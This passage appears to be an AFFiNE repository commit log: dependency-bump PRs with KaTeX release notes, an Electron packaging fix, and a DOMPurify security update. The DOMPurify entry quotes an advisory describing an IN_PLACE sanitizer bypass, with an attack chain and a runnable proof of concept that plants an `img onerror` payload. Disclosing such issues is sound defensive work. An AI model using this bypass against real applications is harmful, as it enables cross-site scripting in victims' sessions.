[https://github.com/KaTeX/KaTeX/commit/0adf7e77db6915d991803b29699f82b1ccf8d4f4](https://redirect.github.com/KaTeX/KaTeX/commit/0adf7e77db6915d991803b29699f82b1ccf8d4f4) - [https://github.com/KaTeX/KaTeX/releases/tag/v0.18.2](https://redirect.github.com/KaTeX/KaTeX/releases/tag/v0.18.2) - [https://github.com/advisories/GHSA-238p-pmpm-9mq7](https://redirect.github.com/advisories/GHSA-238p-pmpm-9mq7) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-238p-pmpm-9mq7) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>KaTeX/KaTeX (katex)</summary> ### [`v0.18.2`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#0182-2026-08-08) [Compare Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.18.1...v0.18.2) ##### Bug Fixes - prevent prototype pollution in settings ([#​4260](https://redirect.github.com/KaTeX/KaTeX/issues/4260)) ([0adf7e7](https://redirect.github.com/KaTeX/KaTeX/commit/0adf7e77db6915d991803b29699f82b1ccf8d4f4)) ### [`v0.18.1`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#01811-2026-10-01) [Compare Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.18.0...v0.18.1) ##### Features - handle character metrics warnings via `strict` ([#​4243](https://redirect.github.com/KaTeX/KaTeX/issues/4243)) ([4237070](https://redirect.github.com/KaTeX/KaTeX/commit/423707055a37803acafef4c1533832273192ea0e)) ### [`v0.18.0`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#0180-2026-07-17) [Compare Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.17.0...v0.18.0) ##### Features - prefix css classes ([#​4229](https://redirect.github.com/KaTeX/KaTeX/issues/4229)) ([6f5c44f](https://redirect.github.com/KaTeX/KaTeX/commit/6f5c44f69bae0703877a3a8d934e20c47bbbbc32)) ##### BREAKING CHANGES - users who apply custom styles or have allowlists targeting KaTeX's internal classes must update their selectors. ### [`v0.17.0`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#0170-2026-05-22) [Compare Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.47...v0.17.0) ##### Performance Improvements - simplify `defineFunction` to avoid destructuring, improve typing ([#​4222](https://redirect.github.com/KaTeX/KaTeX/issues/4222)) ([fb604e6](https://redirect.github.com/KaTeX/KaTeX/commit/fb604e6ba63e99809e242d37f9c8359209d55431)) ##### BREAKING CHANGES - The internal API for `__defineFunction` changed: you should no longer wrap properties in `props`. #### [0.16.47](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.46...v0.16.47) (2026-05-16) ##### Bug Fixes - correct size of `[` big delimiter ([#​4217](https://redirect.github.com/KaTeX/KaTeX/issues/4217)) ([7ba0027](https://redirect.github.com/KaTeX/KaTeX/commit/7ba0027d2f04abddd3b215362f867ab8260b09d7)), closes [#​4215](https://redirect.github.com/KaTeX/KaTeX/issues/4215) #### [0.16.46](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.45...v0.16.46) (2026-05-13) ##### Bug Fixes - preserve math font in some styling commands ([#​4214](https://redirect.github.com/KaTeX/KaTeX/issues/4214)) ([e9ee046](https://redirect.github.com/KaTeX/KaTeX/commit/e9ee0464ddb31da9bf9649eeb70e52236e7a974a)), closes [#​4213](https://redirect.github.com/KaTeX/KaTeX/issues/4213) #### [0.16.45](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.44...v0.16.45) (2026-04-05) ##### Bug Fixes - wrap vcenter mpadded in mrow for valid MathML ([#​4193](https://redirect.github.com/KaTeX/KaTeX/issues/4193)) ([ee66b78](https://redirect.github.com/KaTeX/KaTeX/commit/ee66b78d24340edbbd05b08a4a429ce9ed158b25)), closes [#​4078](https://redirect.github.com/KaTeX/KaTeX/issues/4078) #### [0.16.44](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.43...v0.16.44) (2026-03-27) ##### Bug Fixes - remove extra \jot space at bottom of align/gather/etc. ([#​4184](https://redirect.github.com/KaTeX/KaTeX/issues/4184)) ([3870ee9](https://redirect.github.com/KaTeX/KaTeX/commit/3870ee913e27fdde7bce244e4c6c5d63e2b28a62)) #### [0.16.43](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.42...v0.16.43) (2026-03-26) ##### Bug Fixes - use makeEm() consistently to truncate long CSS decimals ([#​4181](https://redirect.github.com/KaTeX/KaTeX/issues/4181)) ([0967dcc](https://redirect.github.com/KaTeX/KaTeX/commit/0967dcc0278f20d4501a93f01c7343c70abb3fcd)) #### [0.16.42](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.41...v0.16.42) (2026-03-24) ##### Features - \underbracket and \overbracket ([#​4147](https://redirect.github.com/KaTeX/KaTeX/issues/4147)) ([5be9abb](https://redirect.github.com/KaTeX/KaTeX/commit/5be9abb0b4d687a2a196b8adf9b5b9deeb60f7bc)) #### [0.16.41](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.40...v0.16.41) (2026-03-24) ##### Bug Fixes - \sout in text mode ([#​4173](https://redirect.github.com/KaTeX/KaTeX/issues/4173)) ([e748578](https://redirect.github.com/KaTeX/KaTeX/commit/e748578b63e07ad30d5e404e60b04e5e794c0a5a)) #### [0.16.40](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.39...v0.16.40) (2026-03-20) ##### Bug Fixes - **css:** specify position: relative for .katex ([#​4170](https://redirect.github.com/KaTeX/KaTeX/issues/4170)) ([020f0d8](https://redirect.github.com/KaTeX/KaTeX/commit/020f0d89567d59229bac5fc8d8f5832a9508a85f)) #### [0.16.39](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.38...v0.16.39) (2026-03-19) ##### Bug Fixes - middle dot in text mode ([#​4169](https://redirect.github.com/KaTeX/KaTeX/issues/4169)) ([edb45b0](https://redirect.github.com/KaTeX/KaTeX/commit/edb45b0b17c7b33349ce5142fe39156da05cb4d8)), closes [#​3641](https://redirect.github.com/KaTeX/KaTeX/issues/3641) #### [0.16.38](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.37...v0.16.38) (2026-03-08) ##### Bug Fixes - accent skew mixed with font specifiers ([#​4159](https://redirect.github.com/KaTeX/KaTeX/issues/4159)) ([aea3375](https://redirect.github.com/KaTeX/KaTeX/commit/aea33758d6c98896017007d0244885301773856a)), closes [#​4121](https://redirect.github.com/KaTeX/KaTeX/issues/4121) #### [0.16.37](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.36...v0.16.37) (2026-03-06) ##### Bug Fixes - negative-width `\hphantom` and symmetric `\smash` ([#​4153](https://redirect.github.com/KaTeX/KaTeX/issues/4153)) ([d4799ca](https://redirect.github.com/KaTeX/KaTeX/commit/d4799cae585d909e2a4e3dedbebdc2f142998ca9)) #### [0.16.36](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.35...v0.16.36) (2026-03-06) ##### Bug Fixes - contrib esm bloat ([#​4157](https://redirect.github.com/KaTeX/KaTeX/issues/4157)) ([2bde1ad](https://redirect.github.com/KaTeX/KaTeX/commit/2bde1adab2a23f61519145923329c915b04d4778)) #### [0.16.35](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.34...v0.16.35) (2026-03-05) ##### Bug Fixes - version number regression ([#​4155](https://redirect.github.com/KaTeX/KaTeX/issues/4155)) ([db26b73](https://redirect.github.com/KaTeX/KaTeX/commit/db26b733805f2d0d71e82596475b313c8706557e)) #### [0.16.34](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.33...v0.16.34) (2026-03-05) ##### Bug Fixes - emoji with variation selector ([#​4151](https://redirect.github.com/KaTeX/KaTeX/issues/4151)) ([c2606e5](https://redirect.github.com/KaTeX/KaTeX/commit/c2606e5db91ae199ee1ff0c8c2f7f9f70fcf589b)) #### [0.16.33](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.32...v0.16.33) (2026-02-23) ##### Bug Fixes - **scss:** forward variables to fonts module ([#​4146](https://redirect.github.com/KaTeX/KaTeX/issues/4146)) ([9349a64](https://redirect.github.com/KaTeX/KaTeX/commit/9349a64a051ca408da713baf061e32ade80ed22a)) #### [0.16.32](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.31...v0.16.32) (2026-02-22) ##### Bug Fixes - italic separation in \mathnormal ([#​4143](https://redirect.github.com/KaTeX/KaTeX/issues/4143)) ([71305a0](https://redirect.github.com/KaTeX/KaTeX/commit/71305a05140ca6203092bfdc14f689168b26ab8c)) #### [0.16.31](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.30...v0.16.31) (2026-02-22) ##### Bug Fixes - `\*frac` sizing ([#​4137](https://redirect.github.com/KaTeX/KaTeX/issues/4137)) ([ef51f18](https://redirect.github.com/KaTeX/KaTeX/commit/ef51f18ded4ab9ba54ba750f2866241c4676c41c)) #### [0.16.30](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.29...v0.16.30) (2026-02-22) ##### Bug Fixes - no line breaks after `\not` ([#​4140](https://redirect.github.com/KaTeX/KaTeX/issues/4140)) ([2d1ba86](https://redirect.github.com/KaTeX/KaTeX/commit/2d1ba86143bd45540d5a773cfa456081318f3f33)) #### [0.16.29](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.28...v0.16.29) (2026-02-22) ##### Bug Fixes - `\imath` and other `\html@mathml` macros in arguments ([#​4139](https://redirect.github.com/KaTeX/KaTeX/issues/4139)) ([a850cce](https://redirect.github.com/KaTeX/KaTeX/commit/a850cce7ccbf95a0b187313d1e54d8d40dfc7273)) #### [0.16.28](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.27...v0.16.28) (2026-01-25) ##### Bug Fixes - **type:** add missing types definition path to package.json ([#​4125](https://redirect.github.com/KaTeX/KaTeX/issues/4125)) ([0ef8921](https://redirect.github.com/KaTeX/KaTeX/commit/0ef8921d189346b0ff8f84a77f7f552349b76893)) #### [0.16.27](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.26...v0.16.27) (2025-12-07) ##### Features - support equals sign and surrounding whitespace in \htmlData attribute values ([#​4112](https://redirect.github.com/KaTeX/KaTeX/issues/4112)) ([c77aaec](https://redirect.github.com/KaTeX/KaTeX/commit/c77aaec00c766f5bb02e332a1dc416b82a65fe8f)) #### [0.16.26](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.25...v0.16.26) (2025-12-07) ##### Bug Fixes - \mathop followed by integral symbol ([6fbad18](https://redirect.github.com/KaTeX/KaTeX/commit/6fbad18857351e4d2a88ed3e3348bd76caad9be3)) #### [0.16.25](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.24...v0.16.25) (2025-10-13) ##### Features - **css:** provide `katex-swap.css` that uses `font-display: swap` ([#​3940](https://redirect.github.com/KaTeX/KaTeX/issues/3940)) ([b3f9ce6](https://redirect.github.com/KaTeX/KaTeX/commit/b3f9ce691e89a52dea7ec8f10cc6ed4ddc8fc161)), closes [#​2242](https://redirect.github.com/KaTeX/KaTeX/issues/2242) #### [0.16.24](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.23...v0.16.24) (2025-10-12) ##### Features - support hex colors with alpha ([#​4090](https://redirect.github.com/KaTeX/KaTeX/issues/4090)) ([8c9b306](https://redirect.github.com/KaTeX/KaTeX/commit/8c9b3063965acc0d6e6a0b6df4d051169de9e1a9)), closes [#​4067](https://redirect.github.com/KaTeX/KaTeX/issues/4067) [#fA6](https://redirect.github.com/KaTeX/KaTeX/issues/fA6) [#fA6f1](https://redirect.github.com/KaTeX/KaTeX/issues/fA6f1) #### [0.16.23](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.22...v0.16.23) (2025-10-03) ##### Bug Fixes - Support `\def` with arguments via `macros` option ([#​4087](https://redirect.github.com/KaTeX/KaTeX/issues/4087)) ([80a8158](https://redirect.github.com/KaTeX/KaTeX/commit/80a815856a8c26d78b3669e9c05fff00efe82247)) #### [0.16.22](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.21...v0.16.22) (2025-04-09) ##### Bug Fixes - \relax in base or exponent of super/subscript ([#​4045](https://redirect.github.com/KaTeX/KaTeX/issues/4045)) ([1f43c84](https://redirect.github.com/KaTeX/KaTeX/commit/1f43c84a175fb689f8c8d1d72b1e8b896a8b43d1)) #### [0.16.21](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.20...v0.16.21) (2025-01-17) ##### Bug Fixes - escape \htmlData attribute name ([57914ad](https://redirect.github.com/KaTeX/KaTeX/commit/57914ad91eff401357f44bf364b136d37eba04f8)) #### [0.16.20](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.19...v0.16.20) (2025-01-12) ##### Bug Fixes - \providecommand does not overwrite existing macro ([#​4000](https://redirect.github.com/KaTeX/KaTeX/issues/4000)) ([6d30fe4](https://redirect.github.com/KaTeX/KaTeX/commit/6d30fe47b06f9da9b836fe518d5cbbecf6a6a3a1)), closes [#​3928](https://redirect.github.com/KaTeX/KaTeX/issues/3928) #### [0.16.19](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.18...v0.16.19) (2024-12-29) ##### Bug Fixes - **types:** improve `strict` function type ([#​4009](https://redirect.github.com/KaTeX/KaTeX/issues/4009)) ([4228b4e](https://redirect.github.com/KaTeX/KaTeX/commit/4228b4eb529b8e35def66cc6e4fa467383b98c86)) #### [0.16.18](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.17...v0.16.18) (2024-12-18) ##### Bug Fixes - Actually publish TypeScript type definitions ([#​4008](https://redirect.github.com/KaTeX/KaTeX/issues/4008)) ([629b873](https://redirect.github.com/KaTeX/KaTeX/commit/629b87354fdfc04a3769f09b69f6bbadebcb9ae8)) #### [0.16.17](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.16...v0.16.17) (2024-12-17) ##### Bug Fixes - MathML combines multidigit numbers with sup/subscript, comma separators, and multicharacter text when outputting to DOM ([#​3999](https://redirect.github.com/KaTeX/KaTeX/issues/3999)) ([7d79e22](https://redirect.github.com/KaTeX/KaTeX/commit/7d79e220f465c42d4334dc95f1c41e333667e168)), closes [#​3995](https://redirect.github.com/KaTeX/KaTeX/issues/3995) #### [0.16.16](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.15...v0.16.16) (2024-12-17) ##### Features - ESM exports, TypeScript types ([#​3992](https://redirect.github.com/KaTeX/KaTeX/issues/3992)) ([ea9c173](https://redirect.github.com/KaTeX/KaTeX/commit/ea9c173a0de953b49b2ce5d131e88b785f5dffa1)) #### [0.16.15](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.14...v0.16.15) (2024-12-09) ##### Features - italic sans-serif in math mode via `\mathsfit` command ([#​3998](https://redirect.github.com/KaTeX/KaTeX/issues/3998)) ([2218901](https://redirect.github.com/KaTeX/KaTeX/commit/22189018b63c9312ec4ad126804514a7390d60b5)) #### [0.16.14](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.13...v0.16.14) (2024-12-08) ##### Features - \dddot and \ddddot support ([#​3834](https://redirect.github.com/KaTeX/KaTeX/issues/3834)) ([bda35cd](https://redirect.github.com/KaTeX/KaTeX/commit/bda35cdb0a6bbbc52dd27c79e4d984688be3b745)), closes [#​2744](https://redirect.github.com/KaTeX/KaTeX/issues/2744) #### [0.16.13](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.12...v0.16.13) (2024-12-08) ##### Bug Fixes - `\vdots` and `\rule` support in text mode ([#​3997](https://redirect.github.com/KaTeX/KaTeX/issues/3997)) ([0e08352](https://redirect.github.com/KaTeX/KaTeX/commit/0e0835262345d991df61a435800a16b069a4d5c7)), closes [#​3990](https://redirect.github.com/KaTeX/KaTeX/issues/3990) #### [0.16.12](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.11...v0.16.12) (2024-12-08) ##### Features - **css:** configurable margin for display math ([#​3638](https://redirect.github.com/KaTeX/KaTeX/issues/3638)) ([3405001](https://redirect.github.com/KaTeX/KaTeX/commit/3405001225b8ee0cf8b35b2e3a6c1fa2191e5fef)) #### [0.16.11](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.10...v0.16.11) (2024-07-02) ##### Features - add \emph ([#​3963](https://redirect.github.com/KaTeX/KaTeX/issues/3963)) ([9f34da4](https://redirect.github.com/KaTeX/KaTeX/commit/9f34da4b3cf228a7af8134c394394d780a089f2b)), closes [#​3566](https://redirect.github.com/KaTeX/KaTeX/issues/3566) #### [0.16.10](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.9...v0.16.10) (2024-03-24) ##### Bug Fixes - \edef bypassing maxExpand via exponential blowup ([e88b4c3](https://redirect.github.com/KaTeX/KaTeX/commit/e88b4c357f978b1bca8edfe3297f0aa309bcbe34)) - escape \includegraphics src and alt ([c5897fc](https://redirect.github.com/KaTeX/KaTeX/commit/c5897fcd1f73da9612a53e6b5544f1d776e17770)) - force protocol to be lowercase for better protocol filtering ([fc5af64](https://redirect.github.com/KaTeX/KaTeX/commit/fc5af64183a3ceb9be9d1c23a275999a728593de)), closes [/datatracker.ietf.org/doc/html/rfc3986#section-3](https://redirect.github.com//datatracker.ietf.org/doc/html/rfc3986/issues/section-3) - maxExpand limit with Unicode sub/superscripts ([085e21b](https://redirect.github.com/KaTeX/KaTeX/commit/085e21b5da05414efefa932570e7201a7c70e5b2)) #### [0.16.9](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.8...v0.16.9) (2023-10-02) ##### Features - Support bold Fraktur ([#​3777](https://redirect.github.com/KaTeX/KaTeX/issues/3777)) ([240d5ae](https://redirect.github.com/KaTeX/KaTeX/commit/240d5aede915e0303929a9328745b1060e12004a)) #### [0.16.8](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.7...v0.16.8) (2023-06-24) ##### Features - expose error length and raw error message on ParseError ([#​3820](https://redirect.github.com/KaTeX/KaTeX/issues/3820)) ([710774a](https://redirect.github.com/KaTeX/KaTeX/commit/710774aaebb38f43b1ec51c159fe9b9520c91424)) #### [0.16.7](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.6...v0.16.7) (2023-04-28) ##### Bug Fixes - **docs/support_table.md:** delete redundant "varPsi" ([#​3814](https://redirect.github.com/KaTeX/KaTeX/issues/3814)) ([33a1b98](https://redirect.github.com/KaTeX/KaTeX/commit/33a1b98710c880d2d4a67aa0048f027a94b85702)) #### [0.16.6](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.5...v0.16.6) (2023-04-17) ##### Bug Fixes - Support `\let` via `macros` option ([#​3738](https://redirect.github.com/KaTeX/KaTeX/issues/3738)) ([bdb0be2](https://redirect.github.com/KaTeX/KaTeX/commit/bdb0be201794d22adaee05438b07a2830efea9da)), closes [#​3737](https://redirect.github.com/KaTeX/KaTeX/issues/3737) [#​3737](https://redirect.github.com/KaTeX/KaTeX/issues/3737) #### [0.16.5](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.4...v0.16.5) (2023-04-17) ##### Features - \_\_defineFunction API exposing internal defineFunction ([#​3805](https://redirect.github.com/KaTeX/KaTeX/issues/3805)) ([c7b1f84](https://redirect.github.com/KaTeX/KaTeX/commit/c7b1f84b7801a29dffdfa3db0ff35de289db80c0)), closes [#​3756](https://redirect.github.com/KaTeX/KaTeX/issues/3756) #### [0.16.4](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.3...v0.16.4) (2022-12-07) ##### Bug Fixes - space should prevent optional argument to \ ([#​3746](https://redirect.github.com/KaTeX/KaTeX/issues/3746)) ([a0deb34](https://redirect.github.com/KaTeX/KaTeX/commit/a0deb3410fd92340556fc4c9edb8ab586077e5bf)), closes [#​3745](https://redirect.github.com/KaTeX/KaTeX/issues/3745) #### [0.16.3](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.2...v0.16.3) (2022-10-22) ##### Bug Fixes - \hline after \cr ([#​3735](https://redirect.github.com/KaTeX/KaTeX/issues/3735)) ([ebf6bf5](https://redirect.github.com/KaTeX/KaTeX/commit/ebf6bf5b50a98ac6c5aca1896c0a6ba985c1c91c)), closes [#​3734](https://redirect.github.com/KaTeX/KaTeX/issues/3734) #### [0.16.2](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.1...v0.16.2) (2022-08-29) ##### Bug Fixes - **auto-render:** concatenate content of successive text nodes ([#​3422](https://redirect.github.com/KaTeX/KaTeX/issues/3422)) ([4d3fdd8](https://redirect.github.com/KaTeX/KaTeX/commit/4d3fdd8647a1c320dc7bcb9c9ea2af81379f700d)) - Implement \pmb via CSS text-shadow ([#​3505](https://redirect.github.com/KaTeX/KaTeX/issues/3505)) ([176552a](https://redirect.github.com/KaTeX/KaTeX/commit/176552a69183d71425b491d4cc2fa1d462a1246a)) #### [0.16.1](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.0...v0.16.1) (2022-08-28) ##### Bug Fixes - Use SVGs for some stacked delims ([#​3686](https://redirect.github.com/KaTeX/KaTeX/issues/3686)) ([8a65a2e](https://redirect.github.com/KaTeX/KaTeX/commit/8a65a2e1fd69ffeee2fac62229f9f05ebf6afd45)) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzQuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEzNC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
96fd01717f |
fix(electron): avoid Windows packaging glob hang (#15668)
## Description Fixes Electron Forge packaging on Windows hanging during the `afterCopy` cleanup of nested `.bin` entries. `path.join(buildPath, '**/.bin/**/*')` produces a backslash-delimited glob on Windows. Passing that pattern directly to `fast-glob` caused traversal to consume a full CPU core and grow the Node heap until the process failed near its default ~4 GB limit. This Yarn patch normalizes the generated glob to forward slashes before passing it to `fast-glob`. The patch is pinned to `@electron-forge/core` 7.11.1 through the workspace resolutions. Observed locally on Windows x64: - Before: packaging remained in `Preparing native dependencies` / `Finalizing package` for 30+ minutes and eventually failed with `JavaScript heap out of memory`. - After: `yarn affine @affine/electron package --platform=win32 --arch=x64` completed successfully; the final packaging pass took about 28 seconds. - The packaged application was launched and its renderer was inspected through Chromium remote debugging; the workspace rendered with no runtime exceptions. ## Checklist - [x] I have signed the [AFFiNE Contributor License Agreement](https://cla-assistant.io/toeverything/AFFiNE) — required before merge; the `license/cla` check must be green ([how it works](https://github.com/toeverything/AFFiNE/blob/canary/docs/BUILDING.md#sign-the-cla-first)) - [x] The PR targets the `canary` branch and its title follows [Conventional Commits](https://www.conventionalcommits.org/) - [ ] Tests are added or updated where it makes sense - [ ] `yarn lint` and `yarn typecheck` pass locally - [ ] If the PR code includes AI-generated edits, I have carefully reviewed it to ensure that the scope of the PR is consistent with what is claimed in the title and description, and that there are no redundant or invalid implementations. - [x] I agree that maintainers may close the PR without discussion if they consider the code quality to be too low. <!-- This is an auto-generated comment: release notes by coderabbit.ai --> ## Summary by CodeRabbit * **Chores** * Pinned Electron Forge to a patched version. <!-- end of auto-generated comment: release notes by coderabbit.ai --> |
||
|
|
6d37848284 |
chore: bump up dompurify version to v3.4.16 [SECURITY] (#15677)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [dompurify](https://redirect.github.com/cure53/DOMPurify) | [`3.4.13` → `3.4.16`](https://renovatebot.com/diffs/npm/dompurify/3.4.13/3.4.16) |  |  | --- ### DOMPurify: IN_PLACE: node-removing afterSanitize hook leaves detached subtree event handlers armed, causing DOM XSS [GHSA-p98j-92pf-mc4p](https://redirect.github.com/advisories/GHSA-p98j-92pf-mc4p) <details> <summary>More information</summary> #### Details ##### Summary In `IN_PLACE` mode DOMPurify sanitizes the caller's live DOM subtree directly. To close a known hazard (GHSA-55q2-fjhq-7xh7), the library neutralizes any node a hook detaches during sanitization by stripping its subtree's non-allow-listed attributes, but this neutralization is wired only into the `beforeSanitizeElements` and `uponSanitizeElement` hook sites. An `afterSanitizeElements` or `afterSanitizeAttributes` hook that removes a non-root element (a documented, supported pattern) detaches that element's subtree with no neutralization, so descendant `on*` handlers remain armed on the caller's live tree after `sanitize()` returns, yielding DOM XSS. No special privilege is required beyond supplying markup to an application that uses `IN_PLACE` together with a node-removing afterSanitize hook. ##### Root Cause `IN_PLACE` sanitization mutates the caller's live document, so any element a hook detaches from that tree must have its subtree neutralized before `sanitize()` returns; otherwise a queued resource-event handler (for example an `<img onerror>` that began loading when the caller built the tree) fires in page scope even though the handler never reached the sanitized output. The guard helper `_handleHookDetachedNode` (which calls `_neutralizeSubtree` in `IN_PLACE`) is invoked only after `beforeSanitizeElements` and after `uponSanitizeElement`. It is never invoked from the afterSanitize return paths, and `_sanitizeAttributes` never calls it at all. The post-walk `IN_PLACE` neutralization pass iterates only `DOMPurify.removed`, and hook-detached nodes are intentionally not recorded there, so that pass cannot reach them either. ```text src/purify.ts _sanitizeElements: _handleHookDetachedNode present at lines 2142 and 2175 (before/upon), absent after afterSanitizeElements at lines 2208 and 2249. _sanitizeAttributes: afterSanitizeAttributes fires at line 2670 with no detach re-check; the function never calls _handleHookDetachedNode. Post-walk IN_PLACE pass (lines 3081-3090) iterates DOMPurify.removed only, which by design (comment at lines 2096-2099) excludes hook-detached nodes. ``` ##### Impact An attacker who supplies markup processed by a victim application that runs `DOMPurify.sanitize(node, { IN_PLACE: true })` and registers a node-removing `afterSanitizeElements` or `afterSanitizeAttributes` hook can retain arbitrary `on*` event handlers on descendants of a removed non-root element. Because `IN_PLACE` operates on the caller's live document, a queued resource-event handler on such a descendant fires in the page origin after the synchronous `sanitize()` call returns, giving script execution in the victim's session (DOM XSS). This defeats DOMPurify's `IN_PLACE` contract to neutralize handlers on subtrees removed from the live tree. The capability is script execution in the victim origin; exact confidentiality and integrity effects depend on the hosting application's session. ##### Proof of Concept ```text Dependencies: Node.js and jsdom. The harness builds a live tree, registers a removal hook, runs IN_PLACE sanitize(), then inspects whether the attacker onerror handler survives on the detached descendant. jsdom does not perform real image loads, so the retained handler (rather than an actual fired event) is the observed hazard; the retained on* attribute on a live detached node after a synchronous sanitize() return is the neutralization failure. ``` Reproduction steps: 1. Build a live subtree `#root > section#wrap > img[onerror]` where `#root` is the walk root and `section#wrap` is a non-root wrapper. 2. Register an `afterSanitizeElements` (or `afterSanitizeAttributes`) hook that calls `node.remove()` on the wrapper. 3. Call `DOMPurify.sanitize(root, { IN_PLACE: true })`. 4. Observe that the descendant `<img>` retains its `onerror` handler, whereas the same removal performed in a `beforeSanitizeElements`/`uponSanitizeElement` hook strips it. ```javascript const { JSDOM } = require('jsdom'); const createDOMPurify = require('dompurify'); const { window } = new JSDOM('<!DOCTYPE html><body></body>'); const DOMPurify = createDOMPurify(window); const root = window.document.createElement('div'); root.id = 'root'; root.innerHTML = '<section id="wrap"><img src="x" onerror="ATTACKER()"></section>'; window.document.body.appendChild(root); DOMPurify.addHook('afterSanitizeElements', (node) => { if (node.id === 'wrap') node.remove(); }); DOMPurify.sanitize(root, { IN_PLACE: true }); // The detached <img> still carries its onerror handler: console.log(root.querySelector('#wrap') === null, // true (removed from live tree) !!window.document.querySelector('img[onerror]') || // handler survives on the detached node root.innerHTML); ``` ```text PASS: beforeSanitizeElements detach neutralizes descendant onerror (control) PASS: uponSanitizeElement detach neutralizes descendant onerror (control) PASS: without a removal hook the descendant onerror is stripped normally PASS: afterSanitizeElements detach LEAVES descendant onerror armed (GAP) PASS: afterSanitizeAttributes detach LEAVES descendant onerror armed (GAP) PASS: kept custom element removed in afterSanitizeElements leaves descendant onerror armed (GAP) ``` ##### Attack Chain 1. **Exposure:** The victim application calls `DOMPurify.sanitize(liveNode, { IN_PLACE: true })` on attacker-influenced markup and has registered a node-removing `afterSanitizeElements` or `afterSanitizeAttributes` hook per an application policy (`src/purify.ts:3026` walk, `2136` element pass, `2522` attribute pass). 2. **Control:** The attacker controls the markup, including a non-root wrapper element and, inside it, a descendant carrying an `on*` resource-event handler such as `<img src=x onerror=...>`. 3. **Path:** The pre-order walk visits the wrapper before its descendants. During the wrapper's element or attribute pass the application hook detaches the wrapper from the live tree. 4. **Guard:** The detach-neutralization guard `_handleHookDetachedNode` runs only after `beforeSanitizeElements` (`2142`) and `uponSanitizeElement` (`2175`); it is absent after `afterSanitizeElements` (`2208`, `2249`) and is never called by `_sanitizeAttributes` (afterSanitizeAttributes at `2670`). The NodeIterator advances past the detached subtree, so the descendants are never revisited, and the post-walk pass iterates only `DOMPurify.removed`, which excludes hook-detached nodes. 5. **Primitive:** The descendant retains its `on*` handler on the caller's live document after `sanitize()` returns. 6. **Result:** The queued resource event fires the attacker handler in the victim page origin, achieving DOM XSS despite `IN_PLACE` sanitization. ##### Bypass Evidence The relevant prior fix is GHSA-55q2-fjhq-7xh7 ("IN_PLACE hook removal leaves a detached subtree executable, causing XSS"), whose change (`#1557`) added `_neutralizeSubtree` at the `beforeSanitizeElements` and `uponSanitizeElement` detach sites. Inspection of that change shows it touches no 